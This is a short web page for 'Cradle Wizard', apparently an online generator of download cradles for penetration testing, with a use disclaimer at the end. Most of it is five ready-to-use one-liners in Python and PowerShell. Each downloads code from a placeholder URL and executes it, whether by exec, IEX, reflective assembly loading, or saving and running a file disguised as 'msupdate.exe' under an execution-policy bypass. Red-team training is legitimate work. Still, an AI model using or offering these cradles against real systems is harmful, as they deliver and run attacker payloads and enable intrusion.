Overview
Cradle Wizard is an online tool to generate advanced download cradles across various languages. This can be used
during Offensive security testing, certification courses, or other ethical hacking exercises to easily
download and execute different payloads on a target system.
NOTE: Download cradles are generated using client-side JavaScript. No data is collected or stored by this site.
Generate
*1 - Only applicable with PowerShell to define "$null" proxy value.
*2 - Used to add DownloadString Invoke commands or DownloadData Assembly arguments.
*3- Newer versions of PowerShell may require special character escape.
Results
python3 -c 'import urllib.request as x; exec(x.urlopen(x.Request("$URL")).read());'
|
python3 -c 'import requests; exec(requests.get("$URL").text);'
|
powershell.exe -exec bypass -c "$c=New-Object System.Net.WebClient; IEX $c.DownloadString('$URL');"
|
powershell.exe -exec bypass -c "$c=New-Object System.Net.WebClient; $c.DownloadFile('$URL', 'C:\Windows\Temp\msupdate.exe'); C:\Windows\Temp\msupdate.exe;"
|
powershell.exe -exec bypass -c "$c=New-Object System.Net.WebClient; [System.Reflection.Assembly]::Load($c.DownloadData('$URL')).EntryPoint.Invoke(0,$null);"
|
Disclaimer
The tools provided on this site are offered “as-is”, without warranty, and disclaiming liability
for damages resulting from use. Copyright 2024 BreachTactics.
All published content is intended for research and educational purposes only. Author is not responsible for illegal use.
Use responsibly and never target systems you don’t own or have explicit permission.
